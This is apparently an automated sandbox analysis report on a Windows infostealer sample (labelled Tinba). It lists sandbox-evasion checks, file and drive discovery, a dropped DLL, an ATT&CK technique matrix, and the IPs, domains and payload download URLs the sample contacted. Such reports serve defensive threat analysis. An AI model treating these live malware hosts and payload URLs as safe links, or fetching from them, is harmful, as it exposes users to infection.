Source: unknown	Network traffic detected: HTTP traffic on port 9889 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 9889 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 9889 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 9889
Source: unknown	Network traffic detected: HTTP traffic on port 9889 -> 49720

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B8FF1D IsIconic,

0_2_02B8FF1D

Malware Analysis System Evasion

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B730CE		0_2_02B730CE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B75940		0_2_02B75940

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B034A5 rdtsc

0_2_02B034A5

Source: C:\Users\user\Desktop\ [ ].exe

Window / User API: threadDelayed 352

Jump to behavior

Source: C:\Users\user\Desktop\ [ ].exe

Dropped PE file which has not been started: C:\ClinkAPI.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

API coverage: 6.1 %

Source: C:\Users\user\Desktop\ [ ].exe TID: 6584

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\ [ ].exe	File Volume queried: C:\Users\user\Desktop FullSizeInformation			Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB8C60 FindFirstFileA,FindClose,		0_2_02BB8C60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB9BD0 FindClose,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,FindNextFileA,FindNextFileA,		0_2_02BB9BD0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B82930 GetLogicalDriveStringsA,

0_2_02B82930

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B95354 GetSystemInfo,

0_2_02B95354

Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2106959057.000000000106E000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2105363763.0000000002CBA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	API call chain: ExitProcess graph end node	graph_0-52679
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	API call chain: ExitProcess graph end node	graph_0-52805
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	API call chain: ExitProcess graph end node	graph_0-52906
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	API call chain: ExitProcess graph end node	graph_0-52828

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B034A5 rdtsc

0_2_02B034A5

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B1376F LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_02B1376F

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B027E2 mov ecx, dword ptr fs:[00000030h]	0_2_02B027E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0BD21 mov ecx, dword ptr fs:[00000030h]	0_2_02B0BD21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0BD21 mov ecx, dword ptr fs:[00000030h]	0_2_02B0BD21
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0AA9F mov ecx, dword ptr fs:[00000030h]	0_2_02B0AA9F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0AA9F mov ecx, dword ptr fs:[00000030h]	0_2_02B0AA9F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0C2C3 mov ecx, dword ptr fs:[00000030h]	0_2_02B0C2C3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0D237 mov eax, dword ptr fs:[00000030h]	0_2_02B0D237
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B09623 mov eax, dword ptr fs:[00000030h]	0_2_02B09623
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B09623 mov ecx, dword ptr fs:[00000030h]	0_2_02B09623
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B09623 mov ecx, dword ptr fs:[00000030h]	0_2_02B09623
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0AE17 mov ecx, dword ptr fs:[00000030h]	0_2_02B0AE17
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B09E43 mov ecx, dword ptr fs:[00000030h]	0_2_02B09E43
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B09E43 mov ecx, dword ptr fs:[00000030h]	0_2_02B09E43
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0D384 mov eax, dword ptr fs:[00000030h]	0_2_02B0D384
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B04B38 mov ebx, dword ptr fs:[00000030h]	0_2_02B04B38
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B09F72 mov ecx, dword ptr fs:[00000030h]	0_2_02B09F72
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B09F72 mov ecx, dword ptr fs:[00000030h]	0_2_02B09F72
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0B750 mov ecx, dword ptr fs:[00000030h]	0_2_02B0B750
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0B750 mov ecx, dword ptr fs:[00000030h]	0_2_02B0B750
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0A8B0 mov ecx, dword ptr fs:[00000030h]	0_2_02B0A8B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0A8B0 mov ecx, dword ptr fs:[00000030h]	0_2_02B0A8B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B04438 mov eax, dword ptr fs:[00000030h]	0_2_02B04438
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0A418 mov ecx, dword ptr fs:[00000030h]	0_2_02B0A418
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0A418 mov ecx, dword ptr fs:[00000030h]	0_2_02B0A418
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0AC5B mov ecx, dword ptr fs:[00000030h]	0_2_02B0AC5B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0AC5B mov ecx, dword ptr fs:[00000030h]	0_2_02B0AC5B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0D19D mov eax, dword ptr fs:[00000030h]	0_2_02B0D19D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0D19D mov eax, dword ptr fs:[00000030h]	0_2_02B0D19D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B099EF mov eax, dword ptr fs:[00000030h]	0_2_02B099EF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B099EF mov ecx, dword ptr fs:[00000030h]	0_2_02B099EF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B099EF mov ecx, dword ptr fs:[00000030h]	0_2_02B099EF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB03AF mov ecx, dword ptr fs:[00000030h]	0_2_02BB03AF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB0037 mov ecx, dword ptr fs:[00000030h]	0_2_02BB0037
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB0037 mov ecx, dword ptr fs:[00000030h]	0_2_02BB0037
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB01F3 mov ecx, dword ptr fs:[00000030h]	0_2_02BB01F3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB01F3 mov ecx, dword ptr fs:[00000030h]	0_2_02BB01F3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB27CF mov eax, dword ptr fs:[00000030h]	0_2_02BB27CF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB2735 mov eax, dword ptr fs:[00000030h]	0_2_02BB2735
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB2735 mov eax, dword ptr fs:[00000030h]	0_2_02BB2735
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BEEA1A mov eax, dword ptr fs:[00000030h]	0_2_02BEEA1A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAEBB0 mov eax, dword ptr fs:[00000030h]	0_2_02BAEBB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAEBB0 mov ecx, dword ptr fs:[00000030h]	0_2_02BAEBB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAEBB0 mov ecx, dword ptr fs:[00000030h]	0_2_02BAEBB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BA8BC9 mov ebx, dword ptr fs:[00000030h]	0_2_02BA8BC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB291C mov eax, dword ptr fs:[00000030h]	0_2_02BB291C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAEF87 mov eax, dword ptr fs:[00000030h]	0_2_02BAEF87
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAEF87 mov ecx, dword ptr fs:[00000030h]	0_2_02BAEF87
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAEF87 mov ecx, dword ptr fs:[00000030h]	0_2_02BAEF87
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB0CE8 mov ecx, dword ptr fs:[00000030h]	0_2_02BB0CE8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB0CE8 mov ecx, dword ptr fs:[00000030h]	0_2_02BB0CE8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB12B9 mov ecx, dword ptr fs:[00000030h]	0_2_02BB12B9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB12B9 mov ecx, dword ptr fs:[00000030h]	0_2_02BB12B9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAF3DB mov ecx, dword ptr fs:[00000030h]	0_2_02BAF3DB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAF3DB mov ecx, dword ptr fs:[00000030h]	0_2_02BAF3DB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B8F021 mov eax, dword ptr fs:[00000030h]	0_2_02B8F021
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAF50A mov ecx, dword ptr fs:[00000030h]	0_2_02BAF50A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAF50A mov ecx, dword ptr fs:[00000030h]	0_2_02BAF50A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B81BC0 mov ecx, dword ptr fs:[00000030h]	0_2_02B81BC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB185B mov ecx, dword ptr fs:[00000030h]	0_2_02BB185B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAF9B0 mov ecx, dword ptr fs:[00000030h]	0_2_02BAF9B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAF9B0 mov ecx, dword ptr fs:[00000030h]	0_2_02BAF9B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAFE48 mov ecx, dword ptr fs:[00000030h]	0_2_02BAFE48
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAFE48 mov ecx, dword ptr fs:[00000030h]	0_2_02BAFE48

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B0D790 GetProcessHeap,RtlAllocateHeap,MessageBoxA,

0_2_02B0D790

Source: C:\Users\user\Desktop\ [ ].exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://dl.360safe.com/360c0mpkill5.1.64.1238-0809.zip

Jump to behavior

Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: GetProgmanWindow
Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetProgmanWindow

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B0E4C0 cpuid

0_2_02B0E4C0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B0FCC6 GetVersionExA,GetEnvironmentVariableA,GetModuleFileNameA,

0_2_02B0FCC6

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB2B44 htons,inet_addr,bind,		0_2_02BB2B44
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB2D59 listen,		0_2_02BB2D59

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	11 Input Capture	121 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	11 Input Capture	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	1 Archive Collected Data	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	11 Application Window Discovery	Distributed Component Object Model	2 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	5 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	115 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	53%	ReversingLabs	Win32.Infostealer.Tinba
SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ClinkAPI.dll	12%	ReversingLabs

Name	IP	Active	Malicious	Reputation
qnmdsjc.mm2299.com	61.147.93.109	true	false	unknown
kfbb.dewfrevrwde.xyz	61.147.93.70	true	true	unknown
dl.360safe.com.dl.360qhcdn.com	104.192.108.20	true	false	unknown
pgfg.hmnad3463fdefr.cn	61.147.93.189	true	false	unknown
www.google.com	142.250.184.196	true	false	unknown
dl.360safe.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://61.147.93.116:9889/shield/ougsdp1og.zip?2020644	false		unknown
http://dl.360safe.com/360c0mpkill5.1.64.1238-0809.zip	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://61.147.93.70:9889/shield.html?9387302	[ ].exe, 00000002.00000003.2246656088.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244622256.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002D01000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://43.248.186.137:1010/JNGX/JNLCQ170GX.txt	SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2106959057.000000000106E000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2105363763.0000000002CBA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.wosign.com/policy/0	[ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://61.147.93.116:9889/shield/ougsdp1og.zip?2020644JJ	[ ].exe, 00000002.00000003.2246656088.0000000002D14000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002D14000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002D14000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://ocsp1.wosign.com/ca106	[ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://61.147.93.116/	[ ].exe, 00000002.00000003.2246656088.0000000002D14000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002D14000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002D14000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.sysinternals.com0	[ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://61.147.93.189:9889/shield.html?931965	[ ].exe, 00000002.00000003.2248925195.0000000002D01000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://aia1.wosign.com/class3.code.ca1.cer07	[ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://61.147.93.116:9889/shield/ougsdp1og.zip?2020644P	[ ].exe, 00000002.00000003.2244622256.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246187930.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246656088.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245382130.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247734285.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247266139.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://cp.anweishi.com/WH/ClientCheckErrLog.aspx	[ ].exe, 00000002.00000003.2103185456.0000000004140000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2104974160.0000000004142000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2103350493.000000000432E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://cp.anweishi.com/WH/ClientCheckErrLog.aspxafr3JkYujdfv46gdmjD45Dweik67HjmhOKOKOKsend	[ ].exe, 00000002.00000003.2103185456.0000000004140000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2104974160.0000000004142000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2103350493.000000000432E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://61.147.93.109:9889/shield.html?7460389	[ ].exe, 00000002.00000003.2244622256.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246187930.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246656088.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245382130.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247734285.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247266139.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://61.147.93.189:9889/shield.html?9319659	[ ].exe, 00000002.00000003.2246656088.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2248925195.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244622256.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244622256.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246187930.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2243301894.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2246656088.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245382130.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2240861177.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2244156539.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2245055165.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2247734285.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 